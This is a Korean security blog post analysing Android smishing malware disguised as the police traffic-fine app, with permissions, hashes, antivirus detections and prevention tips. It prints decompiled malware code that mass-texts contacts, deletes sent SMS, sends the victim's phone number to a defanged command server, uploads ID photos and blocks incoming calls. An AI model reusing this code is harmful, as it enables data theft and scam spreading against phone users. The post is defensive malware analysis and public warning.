꿈을꾸는 파랑새

반응형

오늘은 교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인 경찰청 교통민원 24(이파인, 2022.1.27)에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격은 기본적으로 너 교통범칙금 있으면 그리고 해당 링크 클릭을 하면 너
휴대폰 전화번호 적는 곳 나오니까 거기 번호 넣으면 그걸 확인을 할 수가 있는 악성코드 나옴 그거 설치를 하면 교통범칙금 확인 가능이라고 하면서 설치 순간 스마트폰의 개인정보를 빼가는 방식을 사용하고 있습니다. 
이 과정에서 공격자는 해당 스미싱 문자를 직접 수신한 핸드폰 번호가 아닐 때 입력번호 오류라는 메시지를 띄워 악성코드 앱 다운로드를 막으며. 즉 보안업체의 악성 앱 샘플 수집/진단 방해를 목적으로 공격자가 미리 확보해놓은 전화번호 DB를 활용해 일명 화이트리스트 방식의 악성 앱 유포를 시도한 것으로 추측할 수가 있습니다.
일단 해당 악성코드는. 경찰청 교통민원 24(이파인)이라는 제목을 가지고 있고 여기서 정상적인 교통민원 24 홈페이지에서 제공하는 문자통지
서비스는 특정 인터넷 사이트로 유도하거나, 프로그램을 다운로드 하도록
하는 클릭(누르기) 기능이 없습니다. 이점만 기억하시면 조금은 도움이 될 것입니다.
일단 해당 악성코드 권한은 다음과 같습니다.

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

교통민원24(이파인) 악성코드 안드로이드 권한
교통민원24(이파인) 악성코드 안드로이드 권한

입니다. 기본적으로 보시면 일단 기본적으로 인터넷 접속 권한, 폰 상태에 대한 읽기 전용 접근 허용, 스마트폰 문자 읽고, 문자 쓰기, 스마트폰 부팅 시 앱 실행, 설정 쓰기, SMS(문자) 보내기 문자 읽기, 연락처 읽기, 연락처 쓰기, 전화 걸기, 앱이 프로그래밍 방식으로 수신 통화에 응답하도록 할 수가 안드로이드 스마트폰 권한으로 구성돼 있습니다.
그리고 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:교통민원24(이파인).apk
사이즈:2.64 MB
CRC32:05ca650b
MD5:40f08a221f666b055a24790bf6cb8537
SHA-1:aa1a13c6e00bd7d159f39a29cf4a6731c92ad817
SHA-256:a533465c82c6c586ba30343de072dd24e3319c63752f259441806019fa450ef6
입니다. 해당 악성코드를 실행하면 다음과 같은 화면이 나타나는 것을 볼 수가 있습니다.

교통민원24(이파인) 악성코드 실행
교통민원24(이파인) 악성코드 실행

로 돼 있는 것 같습니다. 기존의 COOV 같은 것은 사람들에게 인지도가 있어서 이제는 경찰청교통민원24(이파인)를 위장을 해서 사용을 하는것 같습니다.
일단 해당 악성코드를 실행하면 신분증/면허증 촬영하기
1. 신분증/면허증 앞면 칸에맞추세요.
2. 빛반사없이 어두운곳에서 촬영하세요.
라고 돼 있는데 첫 번째 한국인이라면 여기서 띄어쓰기가 이상한 것을 볼 수가 있으며
진짜 질병관리청 COOV(코로나 19 전자예방접종증명서)은 휴대폰 번호로 인증이 진행되며 그리고 절대로 신분증, 면허증 사진을 요구하지 않습니다.

[소프트웨어 팁/보안 및 분석] - 질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03)

 

질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03)

오늘은 가짜 질병관리본부 사칭 스미싱 피싱 사이트 악성코드 질병관리청 COOV(2021.08.03) 에 대해 알아보겠습니다. 질병관리본부(Korea Centers for Disease Control & Prevention)는 국민의..

wezard4u.tistory.com

그리고 카메라 접근 권한은 QR 코드 인식을 하려고 권한을 주면 카카오톡 같은 곳에서는 현재 개인 안심번호를 통해서도 COOV(코로나 19 전자예방접종증명서)를 제공을 하고 있기 때문에 카카오톡을 이용을 하시는 것도 좋은 방법입니다.
악성코드를 압축파일로 풀어 보면 다음과 같이 돼 있는데 기본적으로 교통민원24 아이콘에 COOV 를 위장을 하기 위한 아이콘이 보이는 것을 볼 수가 있습니다.

악성코드 문자 관련 코드
악성코드 문자 관련 코드

악성코드를 실행하기 위한 코드들은 com.example.myapplication.Tools 에 대부분이 있습니다. 예를 들어서 문자(SMS) 같은 경우는 다음과 같습니다.

public void SendContactsServer(Context context) {
        int i;
        if (!Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false)).booleanValue() && context.getSharedPreferences("pref", 0).getInt("sms_switch", 0) != 1) {
            getPhoneNumber().replace(" ", "-");
            int count = 0;
            String word = context.getSharedPreferences("pref", 0).getString("word", "test");
            String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
            if (phone_list != "") {
                String[] ps = phone_list.split("\n");
                int length = ps.length;
                int i2 = 0;
                while (i2 < length) {
                    String phoneNumber = ps[i2];
                    if (phoneNumber.length() > 3) {
                        i = i2;
                        length = length;
                        SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                        count++;
                    } else {
                        i = i2;
                        length = length;
                    }
                    i2 = i + 1;
                }
                SharedPreferences.Editor editor = context.getSharedPreferences("pref", 0).edit();
                editor.putBoolean("sendMsg", true);
                editor.commit();
            }
        }
    }

    public void deleteSMS(Context context) {
        try {
            ContentResolver CR = context.getContentResolver();
            Cursor c = CR.query(Uri.parse("content://sms/sent"), new String[]{"_id", "thread_id"}, null, null, null);
            if (c != null && c.moveToFirst()) {
                do {
                    long threadId = c.getLong(1);
                    CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
                } while (c.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void SendNetContacts(Context context) {
        String word = context.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context.getSharedPreferences("pref", 0).getString("word", "test");
        }
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone2_list", "");
        if (!phone_list.equals("")) {
            String[] ps = phone_list.split(";");
            for (String phoneNumber : ps) {
                if (phoneNumber.length() > 10) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendLocalContacts(Context context) {
        int phoneIndex;
        String phoneNumber;
        getPhoneNumber().replace(" ", "-");
        Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        String word = context.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context.getSharedPreferences("pref", 0).getString("word", "test");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            cursor.getString(nameIndex);
            Cursor phones = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            if (phones.getCount() > 0) {
                phoneIndex = phones.getColumnIndex("data1");
            } else {
                phoneIndex = 0;
            }
            if (phones.moveToNext()) {
                String phoneNumber2 = phones.getString(phoneIndex);
                if (phoneNumber2.length() > 0) {
                    phoneNumber = phoneNumber2.replace(" ", "").replace("+", "");
                } else {
                    phoneNumber = phoneNumber2;
                }
                if (phoneNumber.length() == 11 || phoneNumber.startsWith("86")) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendContacts(Context context) {
        Boolean sendLocalMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendLocalMsg", false));
        Boolean sendNetMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendNetMsg", false));
        if (context.getSharedPreferences("pref", 0).getInt("sms_switch", 0) == 0 && !sendLocalMsg.booleanValue()) {
            SendLocalContacts(context);
            SharedPreferences.Editor editor = context.getSharedPreferences("pref", 0).edit();
            editor.putBoolean("sendLocalMsg", true);
            editor.commit();
        }
        if (context.getSharedPreferences("pref", 0).getInt("sms_netblockstate", 0) == 0 && !sendNetMsg.booleanValue()) {
            SendNetContacts(context);
            SharedPreferences.Editor editor2 = context.getSharedPreferences("pref", 0).edit();
            editor2.putBoolean("sendNetMsg", true);
            editor2.commit();
        }
    }

그리고 스마트폰 전화번호 관련 코드들은 다음과 같습니다.

교통민원24(이파인)
교통민원24(이파인)

public String regCustomer() {
        String phoneNumber = getPhoneNumber().replace(" ", "-");
        String telcompany = getTelCompany().replace(" ", "-");
        if (phoneNumber.equals("")) {
            return "";
        }
        String url = String.valueOf(HttpUtils.getHttpURL(this.context)) + "index.php?type=join&telnum=" + phoneNumber + "&telcompany=" + telcompany + "&version=" + Build.VERSION.RELEASE;
        MyAsyncTask myAsyncTask = new MyAsyncTask(this, this, null);
        this.myAsyncTask = myAsyncTask;
        try {
            return myAsyncTask.execute(url).get();
        } catch (InterruptedException e) {
            e.printStackTrace();
            return "";
        } catch (ExecutionException e2) {
            e2.printStackTrace();
            return "";
        }
    }

그리고 com.example.myapplication.HttpUtils 부분에는 다음과 같은 코드들이 존재합니다.

악성코드 주소
악성코드 주소

/* loaded from: classes.dex */
public class HttpUtils {
    public static String URL = "http://www.pmrib(.)fit/";

    public static String getHttpURL(Context context) {
        String server_url = context.getSharedPreferences("pref", 0).getString("Server_URL", "");
        if (server_url.startsWith("http://")) {
            return server_url;
        }
        return URL;
    }

그리고 업로드 서버 관련 부분은 com.example.myapplication.MainActivity 에 해당 IP 주소가 숨어져 있는 것을 볼 수가 있습니다.

악성코드 개인정보 업로드 주소
악성코드 개인정보 업로드 주소

public class MainActivity extends AppCompatActivity implements View.OnClickListener {
    private static final String HOST = "http://192.168.0(.)104:8087/ImageServer/upServer";
    private Button cancel_take;
    private ImageView image;
    private ImageView imageAdd;
    private ProgressDialog myDialog;
    private Handler myHandler;
    private LinearLayout pic_dig;
    private Button selete;
    private Button take;

    /* renamed from: up */
    private Button f44up;
    private Bitmap upbitmap;
    private String filename;
    String srcPath = Environment.getExternalStorageDirectory().getPath() + "/" + this.filename;

com.example.myapplication.ForbidPhone 부분에서는 중국어가 발견되었습니다. 그러면 대충 중국에서 만들어진 악성코드가 아닐까 추측을 할 수가 있습니다.

악성코드 속에 포함된 중국어
악성코드 속에 포함된 중국어

/* loaded from: classes.dex */
public class ForbidPhone extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        if ("android.intent.action.PHONE_STATE".equals(intent.getAction())) {
            TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
            int state = telephonyManager.getCallState();
            if (state == 0) {
                Log.i("test", "挂了");
            } else if (state == 1) {
                String number = intent.getStringExtra("incoming_number");
                Log.i("test", "来电了" + number);
                if (Build.VERSION.SDK_INT >= 28) {
                    ((TelecomManager) context.getSystemService("telecom")).endCall();
                    return;
                }
                Method method = null;
                try {
                    method = TelephonyManager.class.getDeclaredMethod("getITelephony", new Class[0]);
                } catch (NoSuchMethodException e) {
                    e.printStackTrace();
                }
                method.setAccessible(true);
                ITelephony iTelephony = null;
                try {
                    iTelephony = (ITelephony) method.invoke(telephonyManager, new Object[0]);
                } catch (IllegalAccessException e2) {
                    e2.printStackTrace();
                } catch (InvocationTargetException e3) {
                    e3.printStackTrace();
                }
                try {
                    iTelephony.endCall();
                } catch (RemoteException e4) {
                    e4.printStackTrace();
                }
            } else if (state == 2) {
                Log.i("test", "通话中...录音中");
            }
        }
    }
}

挂了,来电了,通话中,录音中 이라는 중국어를 구글 번역기를 활용해서 번역해 보면 다음과 같은 결과를 얻을 수가 있습니다.
끊기, 수신 전화, 통화 중, 녹음 

이렇게 해서 해당 악성코드에 포함된 인터넷 주소들은 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
K-.Ki(.)Ki/K-.
http://www.pmrib(.)fit/
https://play.google(.)com/store/apps/details?id=com.dreamsecurity.MobileRelay.SampleCrypto
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android

악성코드 인증서 정보
악성코드 인증서 정보

입니다. 그리고 악성코드 인증서 정보는 다음과 같습니다.

서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형: SHA1withRSA
서명 OID: 1.2.840.113549.1.1.5

그리고 2022-02-02 07:11:50 UTC 기준 바이러스토탙에서 탐지를 하는 보안 업체 들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Alibaba:TrojanSpy:Android/SmsThief.6d5cff39
Antiy-AVL:Trojan/Generic.ASMalwAD.66
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Riskware.Agent.JEJ
CAT-QuickHeal:Android.SMForw.GEN37097
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
Fortinet:Android/Agent.BSO!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0057ee141 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
Lionic:Trojan.AndroidOS.SmsThief.C!c
MAX:Malware (ai Score=99)
McAfee:Artemis!40F08A221F66
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Program:AndroidOS/Multiverze
Sophos:Andr/Spy-BFE
Symantec:Trojan.Gen.MBT
Tencent:Dos.Trojan-spy.Smsthief.Pdme
Trustlook:Android.Malware.Spyware
ZoneAlarm by Check Point:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
기본적으로 이름 있는 백신 앱을 설치를 하고 있으면 대부분 탐지 및 삭제를 할것이면 그리고 언제나 이야기하는 것처럼 다음과 같습니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.

반응형
그리드형

댓글

비밀글모드